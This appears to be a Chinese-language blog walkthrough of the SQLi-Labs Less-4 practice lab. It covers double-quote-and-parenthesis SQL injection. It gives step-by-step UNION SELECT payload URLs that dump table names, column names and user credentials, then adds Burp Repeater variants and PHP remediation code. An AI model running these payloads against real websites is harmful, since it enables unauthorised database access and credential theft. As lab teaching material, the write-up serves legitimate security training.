SQLi-Labs Less-4 通关教程(双引号+括号字符型GET注入)

SQLi-Labs Less-4 通关教程(双引号+括号字符型GET注入)

一、关卡核心信息

项目 详情
漏洞类型 GET型双引号+括号字符型SQL注入(字符型注入的经典变体)
核心特征 后端SQL语句中,id参数被("")包裹(即id=("1")),需用")闭合双引号+括号
前置条件 已完成SQLi-Labs靶场搭建与数据库初始化
工具准备 浏览器(Chrome/Firefox)、Burp Suite(可选,抓包验证)
通关目标 掌握双引号+括号的闭合格式,完成敏感数据窃取,理解不同引号类型的注入差异

二、核心原理(教学重点)

Less-4 是字符型注入的典型变体,与前3关的核心差异在于参数包裹格式

  • Less-1:id='1'(单引号)
  • Less-3:id=('1')(单引号+括号)
  • Less-4:id=("1")(双引号+括号)

此类注入的关键是通过报错判断引号类型(双引号)和括号包裹,再针对性构造闭合语句,是真实渗透中高频出现的场景(如开发者习惯用双引号包裹字符串参数)。

三、通关步骤

步骤1:判断注入类型与闭合方式(核心)

  1. 正常访问基准页

    访问地址:http://[靶场IP]/sqli-labs/Less-4/?id=1

    回显结果:页面正常显示Your Login name:DumbYour Password:Dumb,确认id=1查询有效。

  2. 测试单引号闭合(排除法)

    输入Payload:http://[靶场IP]/sqli-labs/Less-4/?id=1'

    回显结果:页面无报错、无异常(仅显示空白或原页面),说明不是单引号闭合

  3. 测试双引号闭合(关键)

    输入Payload:http://[靶场IP]/sqli-labs/Less-4/?id=1"

    回显结果:出现MySQL语法错误,关键提示为near '"1"") LIMIT 0,1' at line 1

    分析报错:"1"") 说明后端拼接后是 id=("1""),即原语句格式为 id=("参数"),需用 ") 闭合双引号+括号。

  4. 验证闭合有效性

    输入Payload:http://[靶场IP]/sqli-labs/Less-4/?id=1") --+

    说明:") 闭合 id=("1") 中的双引号和括号,--+ 注释后续多余字符(浏览器自动转+为空格)。

    回显结果:页面恢复正常,验证闭合格式为 ")

步骤2:确定查询字段数(ORDER BY 法)

  1. 输入Payload:http://[靶场IP]/sqli-labs/Less-4/?id=1") order by 3 --+
    回显:页面正常,说明字段数≥3。
  2. 输入Payload:http://[靶场IP]/sqli-labs/Less-4/?id=1") order by 4 --+
    回显:出现Unknown column '4' in 'order clause'报错。
  3. 结论:原查询语句的字段数为3

步骤3:定位回显位置(UNION 联合查询)

  1. 构造Payload:http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,2,3 --+
    关键说明:
    • id=-1:让原查询无结果,强制显示联合查询内容;
    • "):闭合原语句的("")格式;
    • union select 1,2,3:匹配3个字段数,测试回显位置。
  2. 回显结果:页面显示23,确认第2、3字段为可回显位置

步骤4:逐层获取数据库敏感信息

(1)查询当前数据库名与数据库用户
  • Payload:http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,database(),user() --+
  • 回显结果:database()显示securityuser()显示root@localhost
(2)查询security数据库下的所有表名
  • Payload:http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
  • 回显结果:显示emailsreferersuagentsusers,核心目标表为users
(3)查询users表的所有字段名
  • Payload:http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
  • 回显结果:显示idusernamepassword
(4)查询users表中的账号密码(通关核心)
  • Payload:http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,group_concat(username,':',password),3 from security.users --+
  • 回显结果:显示所有用户凭证(如admin:admintest:test),完成敏感数据窃取。

步骤5:Burp Suite Repeater 适配操作(避坑重点)

Repeater 中+不会自动转空格,需替换为%20(URL编码空格),正确Payload示例:

复制代码
GET /sqli-labs/Less-4/?id=-1") union select 1,group_concat(username,':',password),3 from security.users --%20 HTTP/1.1

或使用%23(URL编码#)简化:

复制代码
GET /sqli-labs/Less-4/?id=-1") union select 1,group_concat(username,':',password),3 from security.users %23 HTTP/1.1

四、常见错误与排错(教学必讲)

错误Payload 报错原因 修正方案
id=1' --+ 误用单引号闭合,原语句为双引号包裹 改为id=1") --+
id=1" --+ 仅闭合双引号,未闭合括号,语法错误 改为id=1") --+
id=-1" union select 1,2,3 --+ 闭合格式错误,缺少括号闭合 改为id=-1") union select 1,2,3 --+
Repeater中--+ +未编码,注释失效导致语法错误 替换为--%20%23

五、漏洞修复方案

Less-4 漏洞本质是后端未过滤双引号、括号等特殊字符,直接拼接SQL语句,修复需从"输入校验"和"语句安全"入手:

  1. 特殊字符过滤 :过滤双引号、括号、注释符等,示例(PHP):

    php 复制代码
    $id = str_replace(['"', '(', ')'], "", $_GET['id']);
  2. 预编译语句(推荐) :使用PDO/MySQLi预编译,彻底避免SQL拼接,示例:

    php 复制代码
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
    $stmt->execute([$id]);
  3. 参数类型强制转换 :若id为数字,直接转为整数,拒绝字符串参数:

    php 复制代码
    $id = intval($_GET['id']);

六、图文并茂实训标注建议

截图序号 截图内容 核心标注
1 正常访问id=1的页面 标注"基准页,原语句格式为id=("1")"
2 id=1"的报错页面 标注"报错关键:"1"") → 闭合格式为")"
3 id=1") --+的正常页面 标注"闭合验证成功,双引号+括号均闭合"
4 联合查询显示表名的页面 标注"回显位置:第2字段显示表名"
5 获取账号密码的最终页面 标注"核心成果:users表敏感数据泄露"

七、通关总结

Less-4 核心考点是双引号+括号的字符型注入闭合逻辑,通关关键可总结为3步:

  1. 判类型 :单引号测试无报错 → 换双引号测试,从报错反推闭合格式((""));
  2. 做闭合 :用")完成双引号+括号的双重闭合,确保SQL语法合法;
  3. 拿数据 :后续ORDER BYUNION SELECT逻辑与前3关一致,仅闭合格式不同。

此类双引号包裹的注入场景在真实开发中常见(如开发者习惯用双引号定义SQL字符串),掌握"先单引号、后双引号"的测试顺序,是快速定位字符型注入闭合格式的核心技巧。

相关推荐
菩提小狗2 小时前
第20天:信息打点-红蓝队自动化项目&资产侦察&企查产权&武器库部署&网络空间__笔记|小迪安全2023-2024|web安全|渗透测试|
笔记·安全·自动化
顺凯风以从游兮2 小时前
内网提权|Redis提权
网络·网络安全
Wcbddd2 小时前
OpenClaw自动化渗透测试初试牛刀
运维·web安全·自动化·好靶场·好靶场wp
weiyvyy2 小时前
无人机嵌入式开发实战-安全机制与应急处理
人工智能·嵌入式硬件·安全·机器人·游戏引擎·无人机·信息化
你的论文学长2 小时前
【架构拆解】从 RAG 检索到全局 Linting:如何用工程化思维跑通几万字的自动化写作流?
运维·人工智能·安全·自然语言处理·架构·自动化·ai写作
文刀竹肃2 小时前
Upload-Labs 第1至第10关通关教程(更新中。。。)
网络·安全·web安全·网络安全
GIOTTO情2 小时前
游戏行业舆情处置技术实战:Infoseek 字节探索系统架构与 Python 落地脚本
网络·安全
观书喜夜长2 小时前
web网络安全-每日一练-Training-WWW-Robots
学习·web安全
流水迢迢lst2 小时前
靶场练习day12--SSRF
服务器·网络·安全